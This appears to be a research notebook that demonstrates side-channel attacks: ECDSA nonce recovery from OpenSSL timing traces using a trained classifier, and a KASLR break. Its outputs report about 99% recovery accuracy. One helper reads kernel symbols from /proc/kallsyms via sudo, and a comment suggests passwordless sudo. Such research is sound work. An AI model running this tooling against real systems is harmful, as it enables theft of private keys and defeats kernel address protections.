{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "%load_ext autoreload\n",
    "%autoreload 2\n",
    "\n",
    "import time\n",
    "import pickle\n",
    "import numpy as np\n",
    "import matplotlib.pyplot as plt\n",
    "\n",
    "from sklearn.ensemble import RandomForestClassifier\n",
    "from sklearn.metrics import accuracy_score\n",
    "from utils import *\n",
    "from mont import *\n",
    "\n",
    "PAIR = 0  # physical core ID\n",
    "CORES = scan_ht_cores()[PAIR]\n",
    "platform = get_uarch()\n",
    "MONT_BASE = f'{BUILD_DIR}/mont-'\n",
    "KASLR_BIN = f'{BUILD_DIR}/kaslr'\n",
    "OSSL_DIR = 'ossl'\n",
    "RES_DIR = Path('results')\n",
    "\n",
    "if not RES_DIR.exists():\n",
    "    RES_DIR.mkdir()\n",
    "assert(RES_DIR.is_dir())\n",
    "\n",
    "def run_mont(version='bino', smt_pair=0, ossl_dir=OSSL_DIR, data_file='-', oracle_file='ts.tsv'):\n",
    "    cores = scan_ht_cores()[smt_pair]\n",
    "    bin_path = MONT_BASE + version\n",
    "    cmd = [bin_path, 'mont', cores[0], cores[1], ossl_dir]\n",
    "    return run_once(cmd, data_file, oracle_file)\n",
    "\n",
    "def run_kaslr(cores, iters=5):\n",
    "    cmd = [KASLR_BIN, 'kaslr'] + cores\n",
    "    lats = np.zeros(0x200)\n",
    "    for _ in range(iters):\n",
    "        lats += run_once(cmd, '-', None)[0][:, 1].astype('float64')\n",
    "    return lats / iters"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ninja: no work to do.\n",
      "Model not found, start training...\n",
      "Getting training data 18Data trace contains too extreme anomalies\n",
      "Getting training data 29Training...\n",
      "Model saved to results/bino-model-quick.pickle\n",
      "Accuracy of Run 0: 98.6%\n",
      "Accuracy of Run 1: 99.6%\n",
      "Accuracy of Run 2: 99.1%\n",
      "Accuracy of Run 3: 99.3%\n",
      "Accuracy of Run 4: 99.3%\n",
      "Accuracy of Run 5: 99.3%\n",
      "Accuracy of Run 6: 99.3%\n",
      "Accuracy of Run 7: 99.3%\n",
      "Accuracy of Run 8: 99.3%\n",
      "Accuracy of Run 9: 99.5%\n",
      "Avg. Acc.: 99.3% +- 0.2% (P=0.95)\n"
     ]
    }
   ],
   "source": [
    "# Quick ECDSA break demo (small scale training and evaluation)\n",
    "# It outputs the accuracy of nonce recovery with **oracle** boundaries\n",
    "# For a more comprehensive ECDSA break evaluation with predicted boundaries,\n",
    "# please refer to mont.ipynb\n",
    "\n",
    "rebuild()\n",
    "train_cnt = 30\n",
    "validations = 10\n",
    "n_samples = 70\n",
    "period = 200\n",
    "ver = 'bino'\n",
    "model_file = RES_DIR / f'{ver}-model-quick.pickle'\n",
    "\n",
    "if not model_file.exists():\n",
    "    print('Model not found, start training...')\n",
    "    train_X = []\n",
    "    train_y = []\n",
    "    cnt = 0\n",
    "    while cnt < train_cnt:\n",
    "        print(f'\\rGetting training data {cnt}', end='')\n",
    "        time.sleep(.5)\n",
    "        data, oracle = run_mont(ver)\n",
    "        try:\n",
    "            dt = DataTrace(data, oracle, std_filter_fact(), margin=100, period=period)\n",
    "        except ValueError as e:\n",
    "            print(e)\n",
    "            continue\n",
    "        else:\n",
    "            splitted = dt.split(dt.normalized, n_samples=n_samples)\n",
    "            feat = np.array([s[:, 1] for s in splitted])\n",
    "            assert(len(feat) == len(dt.ground_truth))\n",
    "            train_X.append(feat)\n",
    "            train_y.append(dt.ground_truth)\n",
    "            cnt += 1\n",
    "\n",
    "    train_X = np.concatenate(train_X)\n",
    "    train_y = np.concatenate(train_y)\n",
    "\n",
    "    print('Training...')\n",
    "    model = RandomForestClassifier(n_jobs=-1, **best_signal_params)\n",
    "    model.fit(train_X, train_y)\n",
    "    with model_file.open('wb') as f:\n",
    "        pickle.dump(model, f)\n",
    "    print(f'Model saved to {model_file}')\n",
    "else:\n",
    "    print(f'Loading trained model from {model_file}')\n",
    "    with model_file.open('rb') as f:\n",
    "        model = pickle.load(f)\n",
    "\n",
    "accuracies = []\n",
    "cnt = 0\n",
    "while cnt < validations:\n",
    "    time.sleep(.5)\n",
    "    data, oracle = run_mont(ver)\n",
    "    try:\n",
    "        dt = DataTrace(data, oracle, std_filter_fact(), margin=100, period=period)\n",
    "    except ValueError as e:\n",
    "        print(e)\n",
    "        continue\n",
    "    else:\n",
    "        splitted = dt.split(dt.normalized, n_samples=n_samples)\n",
    "        feat = np.array([s[:, 1] for s in splitted])\n",
    "        y_pred = model.predict(feat)\n",
    "        acc = accuracy_score(dt.ground_truth, y_pred)\n",
    "        print(f'Accuracy of Run {cnt}: {acc:.1%}')\n",
    "        accuracies.append(acc)\n",
    "        cnt += 1\n",
    "\n",
    "mean_acc = np.mean(accuracies)\n",
    "acc_err = 2 * np.std(accuracies) / np.sqrt(len(accuracies) - 1)\n",
    "print(f'Avg. Acc.: {mean_acc:.1%} +- {acc_err:.1%} (P=0.95)')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [],
   "source": [
    "# *** Read variable tk_core (required by KASLR break *plot*) ***\n",
    "\n",
    "# this function assumes that\n",
    "# 1) the user is root, or\n",
    "# 2) the user can execute sudo without providing password,\n",
    "#    i.e., set NOPASSWD: in /etc/sudoer\n",
    "# otherwise jupyter notebook will complain that the password is required.\n",
    "# You can also manually read tk_core's address from /proc/kallsyms and fill the variable\n",
    "def read_tk_core():\n",
    "    cmd = ['sudo', 'grep', 'tk_core', '/proc/kallsyms']\n",
    "    p = subprocess.run(cmd, stdout=subprocess.PIPE)\n",
    "    out = p.stdout.decode()\n",
    "    addr = int(re.findall(r'([0-9a-f]+)', out)[0], base=16)\n",
    "    return addr\n",
    "\n",
    "tk_core_addr = read_tk_core()  # or,\n",
    "# tk_core_addr = <fill its address>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ninja: no work to do.\n",
      "Recoverd PL2 index: 0x1be\n"
     ]
    },
    {
     "data": {
      "image/png": "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